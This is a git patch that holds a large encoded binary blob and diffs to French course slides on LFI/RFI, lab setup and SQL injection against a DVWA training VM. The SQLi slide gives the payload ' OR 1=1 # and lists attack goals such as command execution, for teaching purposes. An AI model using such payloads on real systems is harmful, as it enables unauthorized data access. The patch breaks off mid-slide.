zT79f$3>i-5GPClR!iE;ce0ZTO68n<Op{rCH+lZJ|6SkSL(ORiUXh$zn{FBl@Cz5Bq zwS1>Fmhyg`tTcUlEMFtaFClt+{;?Gipu8hAv2-zBKXK*;I7+9wQAh5Z_h;_L>#lX4 z*RG)TEDmor+i}P`jP-}FFZSyvJRV?69HB-Y7F!E-cF^L<HId9&ly840YUY_>F(dq? zR;k4^NC3J}$I5%J#aFtHs@U_^L5b_Ch~St#FaxXcYlJ2Kp@eiuMZdo#NpI?^<$w~q z{!-*X4swhN?c30O9Rb7J8sEyJCNGlw&N5D+YmR=(i^s`oq!_iS<h92cgpM~+692)2 z?)-}f75OP{JpR2k4p+UgaOwC>>Oo;Y)~n3rgD@U&F}@<DBW80t_b3oRpdqt8EX<>^ zr!jhJ132saP*%l+M(*ePwf&oG*B!+ru#{A$G4RFoiS3z@NW_g<G;NHgE2a3zcG8H@ z>v?^sU0Oj(y99h$|2vQB^a@s(%=82pzNGG~-fRm(556qTmKPC?)x6dU;yDS`&?YN< znt@Wn$jMu?Tv*H{9e&FWVgm85fH|XGr7ajs<?^KmS^&n*cG_f3pvVpo{%d0rM)+Rc zH7Dw@t&Mq`VzRR+l$M2j4ruu%VKU*_0*e=So$Baflt~o36U#+4%B85p#x|2k6(p{3 zW!zLLYvKN_!!m<P8U+PKOQpL;sJ?wdlr;M(OJEh$2KwDt{3Z^2_H5vmc)Ym@&_uYk z1bo6N$&+BUIjs|tUNo!OHdaPY-PTT*g`78X1?X4fDq``hck4Cbiyof{I>&FDEDrVx zx|*7}ejH_=MnB)MrH&zqo8iT-{1N>++A4KJSZ5Uy$HpG1+^W<zeK7q126T?AkrCC~ zv2Kkw?UqBdYzyryZNE>BT>fB+AlRiT4w$~us^e=J>)h>zZZ^7t@dEGilhedu53uVn z0vS=5hB}&qW-n^n>;28krOU{`65z2K*vbTW`-sRCwm`)$zzdGmB$tQr!6w!fp<w4Q z4HRx7r)849^gZyGa_)}(@vWMoyE_~BvUA>LW|q0iZ+Np%h9!x<Q<=+RL(u#VgZ?i( zyxQ$621sO$0&XB=%$MFn{`S_K=8PI<c#0@RTaBJsa%^}=yHvyUl0JD@B@x7INFFU& zO{=zI(2lV(Gsa(7&WL{+&*Ae*%?*_i)m2S`3`&yM^2d+$-(Zwe2*{K7&~AG7yVY>y zk-GNSLg~bl&zxu{wQQQzMb6@uuE`r8^06fr%m&T)S3jP3cV=H-x89*`;mxleBQ%u- zFH)G47({8BzXpLFlo_$fPrnk)YBmN_dZ=lINIwZ>lRh>&y3oCNP?C-xZJa>9X`QWi z$h?3gWw=?;Zre2=;$rlkWL|4Lf{&gd2`XgBmjh61OSC=bvDPMhNyhP6o`GT1*3ay! zN23Gx={zCqxLq#Pmey#g%e&p={+A<w!`>O0WR%14ZLycT<NM?35xZBVYxmCjG;fhj zJ48x-KjM>m-VX=tLh0}7EZ3rFDyOV_A#q)y@)eq{;MQ(GlU2b#rb6E|NeJi%!HQlD z&GG4KK8cd~>Davmj*#F`<jG^0mTP1Wnf;^zQt?G6`fF(M0Dff2D#}pe1N&a5_t!Jz zG}&TevbbJ;VX?^K{wcDQZ?*Q6uoCp=iEzPopX5$5In?7%c!~2BY7gtx-)1`Hx3521 zy2A>2r6@@uQ#l{4ptX{fuLjN9zy|2g=NHYDXyjHiDkZp@?OluYAFh=7?D(zS-x?0O zknbg~J26fkRKv(9xTQo~N-FCdCSGC7p;J;Ch%OQlN57?t?kFJs`Rj_mh|74|<cmV; z%=mgEzCSk|S|(nkzO}dXQu3a>y89@hgW}?ht{xT^|IXyIbZ$GzH<dfPLFu{6ZM$=J zDjNfsj_5bfcXk2*fVK!=$F%DO0<k1_s?r!&%Rj`5FO_kKY`v7nJrz$>`RG$nb5T%D z-i;tI-F?4~P$lBBde5^zD7v`-O(r3;ku>?S&OuakAdUb@s>SGFOi~`#Yw8oh`27Tb zO$P&iOZYXc827feeuyD182N0FTp7RP5rrieUYPyD$~}JP7vdj!8SGN8@V%anU{ZO{ znR=sSHUc({rfVZn3%xXXqy(ba)gC^4GeEJr6YdskHQ~GDk*cO7KDUgY{Ua1v>>Dzq z`mdum__gpWeAf#bRwVJ<bS{~A5h!%5f(wmjiNYBpc4#*4=LDICuH%xGr(1CXS`^dk z7Bij`-d}Y9b|Y01OtcX{GPB<yZ*8<)8NCRprY8vT7rD~IZd@@2kT&+7mneZvn~{a1 z<F=s{lKkyrjf3;ruX2f-O!me`K(6_tSJmgc!TabF*N)PFlC3W74YIy8*G1ro&lV(3 zI8}BSXxmpVpjL?c?6@A;1S6pT6cF<H(`yE0BAuDd;=(aqmQ{iE3jHH#p!&ZO_XRzD z_6|{?emov|6qE)*q6RhSgU+?nBIt`8xWGlKElIY;22Q8^UXB&4z#w?GY2TLtObP*k zo>#cyPt(>@7CVE-J+4<y*FbE>lplf!g5A`sbRzvbp#A$SN>s1UmH4fCH*p)zu4J)h zPW=0|oR!fntQhC7hE(<R&&j3wWDc=(OgUgT6>~*~RgOgA%3%S1-nR~Z@9A{+n%Ltn zrEp+>ZC=$S+i^)aghQQ2=tYtSEx6is*Z5$rGzn`ZW=xhr4tGZvH@!AJ9H{Cqu&^j_ zeM$M1Zn4o)Iby$eB9H(qEenls^eSYeI}>e;`dL=d)<Y(!t6a$+Wno0;T|W;o<6MOR z+fg0rJ}Mg+W80O!sGep93xmc%)v1_915o%H;+iM<dmikEyrHplM6Iay=CEKzcWfD4 z|L&QY^^O7kpU+p%kkC?(u7L7OW>&(^PpdMRzFfn!t%c{1XlDE4dtSXqPA-f=Ph$tW z5w082mH;@zD$)H(>{Qc=EF<D#1PM5NmfNS#<GF{s4c488sWNVTQ+Ff0=z(>8u&gaz zX^w{(Yr-d#*jg+=jiZB$V%}I<yY%HY_v$#Zwip>nXK`oYve!Pf%P&z`CEp7{Ul42i z-D&-?^D!k1+9#S-b)ERqgb5+{F(G6M;-j030XMATweZ=}Cphycf$ENu!L`(*qiPiV zcl_Qyl7VWjd*C{3Ct)Z5OU)e%?Ief6ZoB9g?5=u~6P)47aiCz}j{TU~BLGjRdc|s$ zYlMLHa96qG#1MO!aID*s`{Q%)XYOt9Rc7*W#wz@eehx0!sT}k6S2}ZJW(~Wb;t)it zBL)nk{jO+$h<a`9zdi!KWyNDYz~V&&qoV93PdFUCdF6ZoFpCTaglW@YUFN&kj=V$s zmtPqj*Kn-FgKpTeG+L+o$?nId3-5p7;2@j;-GBWn#3jQ2J>RhXAAx`#o%Vcu_0CsY zZAGl~KjvM_%g5o&zZP6`Mh#p%qtxPd|2v9Tig@Ctpgqm0BNC*Ijg@Y?JA_+@O!#!S z_HU@%;~jmyh1=j@v5zn&MLqp4>aE?4ec$h}%K9=V@@R8{9w#~a*uQk|h%w{J^?e5r z{ERTSQ(~+V6`J56olZjbM_b*e@hwX34!zJV#@L07_KXM?&A$`}BK9JNYcb6yJJ4oN zWgk(wr;oDBN`s3uYYpyq5Ls*Nyh397AO<n8vM^kpGG*X68&@nDGG(}Wo`4OjmR~)! zahmtWbP$&7dMqJbUPS>ePl!598Y1E6jHR`|#~j{e8grDl-*7)I#<&M+kyv_Lug~Um zQnWN>{-TuI`P!^Khey+4wu97<1PlzNlsaf;5;?HGB80J&dDlil55$py^Df$xL|vH3 zAjF>fOYOJd2)Guw&B>eF*&?SDtMq1r7J{-)J=Ve8H4GRtT)G`dY3Toe$e+6YN(DrC z{sSWW7Z{q;DS<!=3PqM;u6Kpe%u;~9*&!U@h}{n3PR3Sdq=gi%q7Bd4hAAFN8|(r) z;v=OPyBb20poAj<B`^d1^he(JT7c5{6RO9m|Eo@U)~X8v+XfIIID{3G-Jmq2a8YCF z<UUs7tJ}_q+=-ADm~4-8yz7R>bH-C8H^fgJUfp|X(#)&%UdRtsOgg09;FpGuX?{P4 zI$D=#Wv5}CXMV$ZLSL?e$zl*_I>4n+?!(e}dtMiIfWYk>$|e(d^j<T9+zJhK6B!!* z;xuP^{?~zp<;k>J@p9pEH3;xd+gwuYsj#>|AWHae#TBg6-5gt&Cea^6I9v?f5Hkt} z$~z(v*_{Nn_ZB;U5=%K+_!5SKGh49cz3WKM;_hHaf9Is`mU{$?&NmO@%CBTSnJAmv z?MS+O%Ba%-Zyf@a0LupY%LL>~=MR3AJfoP!^FS9xrD4~V96Z(3A99RxAi1+U{%@Oy z<(Xed+9$kU)^{?9J_4LJ8;$BLh|;;;zIKQ^{E7A9IuM-VsWwa$L-ON^x~=nJ$3t)> z$!&_Wry|>op2v0>PizfI&3T5arK7rXf)sQ`6Hazx`x&$(e7bYZA$HU_?G<S$k!wI% z)acV5=PvnOF-;N)e>-a*MLJz^hb}eE@&Pp+m%GXyzv1fY#_q`#B48^(cW3O~)PjW6 z-|XE8e$3_H(v{oc7N$5f!)k0*8^SvS*@b8<ihHU;U%@N`bQo%6`H$fA5w($DRx_r; z=o*+2n>m#RZzciCS`9Z@_%rkH&iqMT@$D_(5B1y#>&j_}G^SSHp|XB#e&ZlOxn%*a z`)uE<(Gr$qsR)${D1!|*NcypR=D|JiirHPItv;9!zY{u6T*y%-YSXaTu;i2|eP*C7 zwu=D}MstwIjA2HV$#*xJC|A;;?S)xxAK@QpdaeaFIT}RSDBxsz#68-*bk}?&<jP`( zU6wj&uPSF0ObPDUQ8(x!P%C#s69VGU%|Jihy>$(HPQ1<5acJm4B8N;(JmM89ONSjO zb4n_B2RV;aM!Q_e4p1Gl?Is6|OU0R=pqdbDHEN6`n&I@Dxn}ZV8z?u7dOjCT%k*C? zE*v1v)=AnA<DIrAK`N69rplR}<UEvG)wN?sWW*CmG6ytn5L+a)1<Nz`Vo%o=t~OZ- z_tmu^b}f-hXD6gmOK@9~6$vCs=%%FbvwV1B@;U>!=!MKJmd^nLtz4kDSZ|jkSN01F zjg_0J&h#W45W&iYYcjF3EG{6*_!mBU*^)<R<q;*7glcOO!dB~W-0z2t^2>E|beyh4 zwGl=>m?<}nplh*+<#hFeX(aOj6LG{N70Y_?!njPSjt^=Ur}qbmk8uEMCzAOnQT^jH zP#mW+5r2!p)fvS}MKMh$-9fcpei$?OneSRhqWCrk34;!&wXK<e(DK@rpkwf0LJg)A zRd4B-sTm-MeIbtnc@h&o2U&^`{0ghUChfsss6`D8FiLGNj#?(g<qIT5`@Bmr;yS$t z4v4<(n`nq#vl2>Wfz6P*PbQ^Qe({71f|hu~8H}s9R9}jGLl~wW;RhK-PtX6wr9T&) z6(rWcBQM^0$vjfG)<uOHA)mik;<cv@&?lX796IUH7=+?7N;d_oHEiXgDL1tF9s7(H z2E0usA{gS|n$Ya_2I-jTBk&8e_Aqr}poiGh_$v`@ddp>7F7teh(#T|z%#_TQ(vD9V zQcJfmuaI_7(7DBplOG<h>+eocRGNxp8#Gv)<TO-}!S-D_kl-1RZ?%4UeP<6w?4G0H z6i@k!T70>+39;S^Zba0^P?<h?JUxOn1<F7NZLPS>5BIma1DS8|BWuc%8`DN@1!Dm3 zd)l|l;=k}7nJ8D~WB%A^LfjDboty*qTY`d3>iQ`Z&++4sJ9g6{KZ1L{D%rO*vHlU- zj|uN2dX#^C+*_$CXBAAY%R>vri<^AH4;lv0H(tVkY0Z3V0gc{+h2Fxd83r-^(8+e@ zbnM6Lka%TvP}Yxjx^-1PGLBbivoLQDSv~ujqaoo;$+R|f0C7#bu9~c|@>VLpbFmv` zPzXk>BrtIp<Kf9gExe1i6B_t<l-e5bNg$U66Yp$j`)|qJw)mb*!>T(<Xa(7n1iknI zE1$P?$XbaPH=?>58IWQ!Mjl1n{$#w)%L2%MlFsjvT-xjBU<WN^!4*VI3?RkT2QTHR z;i5Q{Xgw*LPJD|In?EUMY#P{au|fN0na_A<7jhx)orN4NI}@PHWUj~GAh;gTEa<sf zz?xsjVpJ+Ha2yjl@?Vhx7our#ZS_#m=y=ju9(c^_DFT7t649D-RB=1V^J#EG{ddRa z;K!$K*qcO~1ybZG^IDCSVim1_X0o`rrhUR&jpK90u?J=24H40{7yG^mRgD2CalKW< z;FMM>PwcxUs`B>~1?rG&u1^<0M4W0+q4&1`#xxxy$(?Y**t;kWK;fZO-sv;hJjIh+ zu1~GSQsy+dKyaq+OS>8&84@di!^oqw?<tiBw8oH#rouLq#hv{gAk^{_yvA>6@c8LV zENy?-7E9)E{Mc0(*k*aaOtoVuqcLfKG#Dlds32KM#QLThC5~>i(Sv+_l^H`KyxG*k z-F#|_g&Ie<7Pg>NJa1>Rc{uTk{?SEKg<ZO#g}?>)>RwMw>}bO#qKou;s1>%0WX^>r zx!0@&wT18`d{_fnInxb=T>1zhu?}z4_WOR6wPpiTl2rtcNrJ84yqyKhRJT+uXIy*3 zzJ18u5+kA8Jc<1As(>c!@GC>(o65C<skL}BhSon-(I30Qj6xnoxY4O`465yI1P?gZ zT?k$ck&5Q8a6h>;tN!2>?g!Fe3}cU5Yx^_X`#G=|0>t^;vdJ&65510y6e@szD<U}2 zivdQ0YglrO-P{41f5?4ToNHqhXkZ&m#oMkpd_JJjG{kg;>nuy9_nrA-k`3Y7NuN;e z-sgcK8W=K4#LPePP+MGucj5JvSt~1<9xx_R=$!V7_Ki_l5HF!ANSs!jKFi5s3%FO} zQYmFW8Smu(VxkT&ww7;e`SnPSI45GV8p1xyt4OlpdHTB+J-<T@)RMIm8{i$7({Ab1 zku2n?G*tE^wxhi4dQ10*Gv&QKH4?%Or5Pk&HGHtg4k@xgbM)oBxZA^u0`)cux>LfJ zzAPRj{zB&OTsPA9^0rX|w{TK_2B3QL4Gd%4A5s6vQ}fAeLQlJP+X?+k3KB(}c?340 zxu94DkbU<6{$2LQKgwJmxc~GE`fPnnwea~X>DBFvTfvTz%Nv1(SWkH~-Tqn?(7x@) z{;x<Nj0~vv1f>uW9uwNHz@OI72kQOnP7o0Pf5agKcRD?XnlepP|5ouv*L?kO^qR+$ z|2Xpb-y}I*ar@nr-^P%Q`ht22W8+^hq48hap|3&YUuIiz&4~G(q7un)dO|NiuOky4 zJdFeaAkzVa_pjU^EfE}#4}XO$1kigFsx3^sf-o9@$nYZ&)h}^FT`}?{>KlRKUoM`p z=`TsHR(#F;MI$U<E<^&Aw4#NUcZRFAWRYATx!E8n*2t$X8D#9Z&@_s1e3Pb`7)ozW znv1*L3n6y?;`y&h?S|Gz=k6UI0!on5%p;Yk{|=ck765sg2$1tlMN|tE_bjoc>P>Rt z3$HR9;DL_aa^+)4_jvX(nk;oc3iBxT@D<d47Y0>#yC@hEdT>p0E;Ywa-dHJCWPO2N zs^PcX&LShv{WXj0rA)Wdvqw$02M&rDIjT2;#!|?_?aclmMo<Mg%xmS2r_i~#(7#MS zf&0#T6&ys|1Kmt5U{lXiTAqpg)H;Pw%F<8d2_9X2aB{0_iAIRWU*nLwBabADmi@u` zZSssgOg9yJ<ALsun8rH_%Ek;tL*@A6@<*1LJFg^H@vg<;bS0f@DWFo(9DhFJA*?v{ z9RL2Qr<D(52=!HK1ejjG*`K{RI4&rR<7e-;6vl&H`7N#7{CRGIT|236Q@!_BV4e(f zfvTNDl+v}Fr$06Yuu=+|{PUsIE~W7nvw3;SceLjuNL2iS%5))6rj=v*j-8pIkV6Z0 zo9Acns<w1PJB|25CU<ld4baICSDut?;1r8?PV@I8O(q|aEV5hCl%AU^L^=Z&JS)de zx^S3r{iwE~d9WOwI1z+^uRNpV7MkdsxJu>-m96s0*rVAtl@c`dIaXM}RE<T|2tb%& z)!dD*2veoD#@ME6_KYa~=~YmBX3JF+yp~#34$6AoK~}cD2<SLUby7z`%KR!;cf)<J zHCGg}CiLkwLq+rJLqgw`h}-;m=EiPAX+va^C1Y@kaOK{|sjROe)z;gEoPR6nOR20b zKcIsENOw5;BeEE#_iEx6e?H-SSVaHy1Mtb!{gMQfrq<|a6gp)K&?y9A>%`&>wep3t zA8_b}M$@(Oes!7{3&Pwaw33T#un5b~2}@fDrJ7(%R_OmsNR*OjQ4H|~9Lm=A5gAh$ ziYihbS)`5WWMCy;u!2#71`o}{@Aq=NQjg0-BdVdK7CNMA$VGfre?i&Dg%yzwk~+*F zgBelR<>VX9)N|)dEf>wg-zksr>JkhKKKX|jv8#nH8F#}8(uL-GdO@#|Aa2|wOPnrn z75@wm2v<T<RxN9FGb>wwGx^d`v#EufH=*>}toM`5NiTJ8$fbehqzF^8&ju<;+-q1- z)v&~*eRpGCGSDxigTwEiep{vz@K;zR-SGuq);mA$H9LZC$;WvkL0KMZWv{J#VZ20m z@fxYH1SX1NijKW;MLf=q3}pxL34>3EJ(zu-{Kx_l?q8PaYdCd6WzXD-capyG{9gSM z(&P_6(8?#H87*U?cA$H96ytyS_uj?|`zjihTSbzAAh0`Omo(-~Oum-W5N(!45ik6# z@N{@HgRlL5P4I%Ys#{ms-v~iilvTm@y~Yn)kMXc`T~SN#bxs<OetDN*WEk&DE}j{U zxYXrk5qJ0No6QG%{&5s}H^{`D;${7-x|-0)p|_>>0$cVn6S_Fq0+ceZmyb^#FM>d| zDn^=uVB{$$RAg9_bFXn&N$FI&#<#zWVCaRhAwS$3W!SwUSTo<e^Rmf9?zP`YuDk2P z{s8V=reG~H*pg6OE9i}IY?f?G6rodBe%O2pj9V}g$3v?M6(;^#HRYg?z&BmgTZ2B% zJ501mcbVLfHqlPH<odRyRi-+l4}EkNRd+S|sq%(1q_CX-n0_aC+N^WeDI4}@+ymty zue2GkvQd)GusIFlo+SBqVipfse)!C2ocDu5u76|XwzHSV-lVDv9eoCx-mt+_U2irc zsgnl`wNo7}qRIxl$G#-e=SF6%XCN@yX%Z7~j9))Ti6F`8gP^0h<W>MqFV$zo0?0oV z>g3;cQ6!|4km7WX5_ujA%wk+V4SFmuP%O9t5n!}X7tyDhbobAwGy!pobkf@|e0jpC z&@2u~Nd6S6vkWRjhQE)w1pK?AwPv@bhXjb@`@KI<;QVQ0Mx8>Hg1rkFizdCXL{dp{ zyl6{u<%r@d-6a&e*FxaWG%x#Tmg?I1yo7&P2ewuPyWzXzCRADH&sFs#ki33Qyq$y3 zG&%1e^pRxdC%iT3kWK%toQuu}*Nce!Pm~@n=YMNG<EcVmSAFkzeM$GdFB0YJo4odv zUw>r*;T^=kC^%t=bDzI206~A!PXD^20)L~w|9?0CUnJlDi`@JFlLQ!nsXNlTIT6df zSo4Q!(ZLo9=k$!>uWbl8(Qg?wc^~($<HHWh6~^-H3}8pJc@TMi(@Lc?kJ|VEYd$=V z!86i^nU3ton_lnJ?f#RK2oW$1ELInF{nc>GZ{LrhC=e4b>dofI9^epCMjjDZ?ywPv z|C$zF{5~fnEPdS>(!<3+K?_(>;}8oD)f%qc|IFGqjb9Pe-#eh3(<*E|AVWqTeD?nN z&80=}OB!H|#@6Zi=i~YRNM!s!nw0-US%1&vKVlyLr*F#YyU*p~gYcEjvXK)3_i)Rg z!`R~f-`R}aFx}nV5GTuZ@$634c_$nkp27n;1i{7ecc9~C>9*V3l#bqBTFh@;*VoTY zvb_?<4E@J$#$=wGFKbiObzG`5p12E!jkQLoOux6zckIsLY!>zq$<_+49g`PE((dmV z>YcNRXrA4r4=r|`)4SMH=PqC8t~-WpYE9+|;aDYTz*hjO#6jiD4dOM0fT6~n)1d)@ zAkGm7@3Y6LEuAD}2&tI21mZDmI)o1=UEuD@1H@?CjOE|?Mu+|Nd7|a#-c&QNPL>l5 z7N!lzsvzprYR36KX3-fXo8e+4l+kH~wSfyeLZ8B<yIkSumYAHgWZn`U0pnB0NeR5* z&RHItl?>7fQWads<p7o9nlbafr=s&-q+`v(R9=ft5!g6<=uei{eJq)|5?9eq^g*Xg zSNN}C1Pnc|glv<PE%!<*B&j@&&y@LP;^p<QCM(A)6h3F1M{XpZ+PLq6l0C;O*QT11 zta5m|e2Z7binjL-E873ynagp!eE@P{5|(7fJAj1{5Am8juI;=r3w1mZJvWB%JM;|J zmdI5iyOvMfi)&quq7RaA5DRz&b}rQ1iZr<WmXGMtj*o|9iq`D1RyR2tCIYXS-6FLo zg3GURj{?@+Rp>ypzgM7Eb<|tlLvIsxykL6lx$X&qDLS&t-HfL|vsRj?cSbHvPMM5G z-Zz47>m}EFBC~_V%*HEEtvGr+fc^jwAdJmV8kC$(0L#}N!Lu)W_Z@>neCbQJJusQv z&~6a#qm2a4daO%X+lDNGsG##+Mytj8jdP#hbQG+J)hG<Z01*Q#{fwZjz3riW+SclS zxI+6$W+B#qr~L|7xwBJx&5f9lSc=RgKbvCst+M{t8-8bPSHT1p<?<PZ5L_2U9)sVB zA6?zklv_6=5aoVkxUY2&E!TP%sf^emRuH~eKXMUwAj+<&Ax>I#A|;X(cNzhv_ya4Q zBAJl4#bbNFGjHBM&kX7Wal%l^a1Doba8p01J{RYgg;YM)FH2CI<N$G$S<z0_eiU;r zToea7P5e%dEnPo{D#rTP>SC{&UhHk$Lzs1}ra-+<tT@A<R`FHgGfs<l&y}O>cLfdg zkL5gt!&+Me+%jd^_Cs6JkGc6$WV>El1f|lZKRt8Z|FBcr%*n#Uyqw|?>CB<-t;XUB zlha6J4B?yY++jJr6tI-q%ZIgEc?ix>h-qj&Kr&-qcQ|p?W#E46yd_9B@oF+V_f#iN z-P>p1l_9X<F~W%+t`mxDe7%BvV*58<dKs;kS=rCZuS~B=$I;L^+#)Wc;K28y{A2Jj z7b=|;p6^-la%WhFMk-Bk^T6fHE(CMss%y3klL}pMq<_kRAolkZhO+|>gKeh1=$PWZ zOMS3(6qeIB#g)$yBbK?@!=l&lvk&Exvxyo(e!UW1isGAZCCJ+E338WtjLGK9C3UQX zXA*0v^X9$Hr?do<WwM2-YzEJr3OO-`c=p{ee<lB+lPW@R8<yYAn+M-gHn0lweKQnE z<e(VR=Du&Hr!TkP+nQrL+nG`;cd_|CYOc7towM`7xw4mnN@n8vz-AiOE0=RLteocp zlpCC7v!I(;MCM(Wh3x9hu_^+p>=#&bZ#{cf3z4%cIyp$?Kci$R!x+@8qV813Duy5b zos{%pd^C<tg=6mUPJp9P-9fHdy7g|CQ)e_terb^x>+h}TLU3(^dvSHTWY?QDgeBj7 z9D)4@<d7{xMEnE;!^;rjR0a<41^eUj(G#C`q4}r+z8u;!^KO`~t~p1XnIqw{?NRQC zQ+xS5rn2JtGlg2b+QK*{=mgSDH}%h|_CQL1B@Rvo8VSvqeju!n?Wvkx-aN)7qoCqK z7D&37AIt5yT+DKrPymCUBdcH!+=jMggGsR)*PpXT)+xRJ^fY``-gl<e!82B5Ap=dc zH_>9ugmOWgS|0!omyMgDFv^h11Ius;I^K8;PYg1l9%w$T9%_*=7`|2mw#Rs=lR$E~ ztWEaI@+s++%=}7Qu+#CWGU{Y-e4e=vYu*_<W1rkW`8hGnnQZ^bPfWh1n3#lmhpo*! z)I0$nzdHnYZ#g{X9)}aT%VYFTPIv+*^duZFBXs+$+G5n+FawwBH;$Eq3R?PzAu;XR zW>x6GQ6ah~kfKHIPBZJzy15&;jIYttJZ=ry@5&uC2@J<yxMn&`_Np=QL>3?bL(0co zp99v%wT?cw<CY%TSki0KI}MJvcyb8lXiG52LvfUqINq~@(r2HCM!W5TIN@WPYvH+m zJ($y#rC$7~&T{Il3ivxy0V_K0LUBlsF9}8X*q?qGN93%(zl$I&QL$X#pP)buW3tQ! z!@F?Iv>~_%y`H13ChY_dZ}7-mW#4@a+t&{U{gWjm+2VU>GK#_>DL9_Nk5NCz&xr+y zHy^#Q_=HCeJg=pd_cPARjb=5&>#shsTd!n7SH!^lY)Tm%WM}pUg{PW)7q09jjt!;@ ztaKo8<`@v%k6BY|zLuFLxgQeT=^L*dOeo6PK#ZT#$+kaD*FMcy6IqC<-c>f_U;BgS z_I(r~6w@th^C-Z<+op1eBH9qa*FntPJEKwLt3E+*x=DPH5u6x1O0cd`xys`L`SqbZ zYS<13OR`J+3fLk0a<zeZsNF4hcYR;!b$r<VXb}|O#R}s0BYsSqZKk5`Z~MjX4|MAR zxA72Z3eLzeTpe+tBDBf;II+X!jZM<=H>omBF-$i6o=O8SMXCH(p9kJ=b%6}FpR?aL zG+zrpgD6-EwY?*UU`$%>33iXT?Ii<8T<|!=)s(Mbe|+M67Q$DSl)^OB7MVBEYWN~T zoT=e}HuEJL5(75@Pv*juCLqlQ`Bo?|&Uy07j7su#$Bu+yr`X=^u!^+TPPpn|mIW>9 z@lJe|zGSOmCJ7xb$TZ79^4Ba3=nul3)}Tq)7IDtgT1PuiS(feM%$FMcAH9B{yT&H& z;x5=vOuib#M`djMZj}m}9r8L>OBdXa4hqzVYL#{g8!N`6jMRDk9<EMn!D;Acqe^PR zU$-6i1^BB^0ucYw3%dEX`G26{WqC3cJfbe$LM}GG2@l*Wgq!ML2(EeyW^!n5|90ku zfar(bgqM6;`TRP+J~?)1UjOE<Ab$A%N7OZ|Tx<)kz`Z2n>z>`Z|HfJn|A#r)|5Kp% zzfbJmVBq}~Mg9Hdg~0e9dlp0-L1Vx?n%zBI%(M)7A;B}$=-=@HCr-F0>isp-X)4v2 z0z3PS{VdrYGW_*)PH)F~!0Whx2MS)J|2z_-ZGgBm+uAX_$qa<S?5E(UYq_}>7Bc`D zu#bF(``4ZjeRz5*n-54^2FoeuNag>|tG4#}=VjhXJ2<3&s5XELWceQtxmO%m;wch? zLAav#->K+uSXx?I_0}uw<dl^8lX)W3#oij79^bpV*03Rg!*yT$DB^w)YyI=`G^%XP zYP;^E_71{lB&0`9R+iT!!wxbNSofRJ>$l6}pZ9oc^X=Sb6|W~LCL}Fb$*=48{{Z`@ BsapU5 literal 0 HcmV?d00001 diff --git a/content/slides/1337/md/fi.md b/content/slides/1337/md/fi.md index 8634c23..7ef66e6 100644 --- a/content/slides/1337/md/fi.md +++ b/content/slides/1337/md/fi.md @@ -2,6 +2,11 @@ ## aka LFI / RFI +<i class="fa-brands fa-firefox-browser"></i> / <i class="fa-solid fa-desktop"></i> +<br /><br /><br /><br /><br /><br /> +<small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small> + + ### Local File Inclusion / Remote File Inclusion <small>nom d'utilisateur uca pour personnaliser les liens des slides:</small> diff --git a/content/slides/1337/md/lab.md b/content/slides/1337/md/lab.md index 4063b76..a7ed5af 100644 --- a/content/slides/1337/md/lab.md +++ b/content/slides/1337/md/lab.md @@ -106,6 +106,10 @@ install [Proxy Switcher and Manager](https://addons.mozilla.org/fr/firefox/addon  +## Web developper addons + +https://chrispederick.com/work/web-developer/ + ## DVWA * htaccess to protect vm diff --git a/content/slides/1337/md/sqli.md b/content/slides/1337/md/sqli.md index 1a8c8b3..d3e270f 100644 --- a/content/slides/1337/md/sqli.md +++ b/content/slides/1337/md/sqli.md @@ -1,223 +1,254 @@ # Injection SQL +## aka SQLi +  -## aka SQLi +<i class="fa-brands fa-firefox-browser"></i> / <i class="fa-solid fa-desktop"></i> +<small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small> -### <i class="fa fa-cogs"></i> Principe -* Une application envoie des données - * non **sanitized** à un interpréteur -* L'attaquant envoie des séquences de texte permettant d'exploiter l'interpréteur visé (**payload**) - * toutes sources de données peut être utilisées - * paramètres HTTP, PATH_INFO, cookies, en-têtes HTTP, fichiers uploadés - * au niveau de la requête [et de la réponse <i class="fa fa-reddit"></i>](http://i.imgur.com/8khrzf9.png) +### <i class="fa fa-cogs"></i> SQLi +* envoie de données à un interpréteur +* l'attaquant envoie des séquences de texte malicieuses permettant d'exploiter l'interpréteur visé (**payload**) + * toute source de données peut être utilisées + * paramètres HTTP, PATH_INFO,`cookies, en-têtes HTTP, fichiers uploadés + * au niveau de la requête [et de la réponse <i class="fab fa-reddit"></i>](http://i.imgur.com/8khrzf9.png) -### <i class="fa fa-user-secret"></i> Que peut on faire? -* Lire des données "protégées" -* Corrompre des données -* Dénis de services -* Lecture / écriture sur le système de fichiers -* Exécution de commandes arbitraires +### <i class="fas fa-ice-cream"></i> SQLi / types -Note: -- marche pour tout interpréteur LDAP, XML, bash (shellshock) -- détectable aux messages d'erreur en cas d'input invalide - - SQL universel ce qui rend la faille très populaire - - au moment de l'exploitation il faut connaître le SGBD poru aller plus loin - - écriture dans des fichiers - - passer des commandes via xp_commandshell pour un server MSSQL -- potentielle compromission totale - - exécution de code - - backdoor - - local root exploit +* [topologie](https://www.linkedin.com/grp/post/36874-130061102) +* [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) + * cas simple où les messages d'erreur base de données sont affichés +* [SQL Injection (Blind)](https://owasp.org/www-community/attacks/Blind_SQL_Injection) + * cas plus complexe où les messages d'erreur base de données **ne** sont **pas** accessibles + * Un comportement différent selon que la **payload** est exécutée ou non -## [Différents types](https://www.linkedin.com/grp/post/36874-130061102) -#### [<i class="fa fa-eye"></i> Error-based](https://www.owasp.org/index.php/SQL_Injection) -* Les messages d'erreur mysql sont accessibles +### <i class="fa-solid fa-bomb"></i> SQLi / payloads -#### [<i class="fa fa-check-square"></i> Boolean (Blind)](https://www.owasp.org/index.php/Blind_SQL_Injection) +* lire des données "protégées" +* corrompre des données +* dénis de services +* lecture / écriture sur le système de fichiers +* exécution de commandes arbitraires -* Pas de message d'erreur -* Un comportement différent selon que la **payload** est exécutée ou non - * nécessite en général d'itérer - * avec un LIKE par exemple pour déduire lettre par lettre +### <i class="fa-solid fa-bomb"></i> SQLi / low -## [Différents types](https://www.linkedin.com/grp/post/36874-130061102) +* détectable en tentant les caractères d'échappement **"** ou **'** en +<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27&Submit=Submit#)</small> -#### [<i class="fa fa-eye-slash"></i> (true) Blind](https://www.owasp.org/index.php/Blind_SQL_Injection) +* L'idée est d'utiliser les commentaires **#** ou **--** pour terminer prématurément l'exécution du SQL + ``` + User ID: ' OR 1=1 # + ``` + * 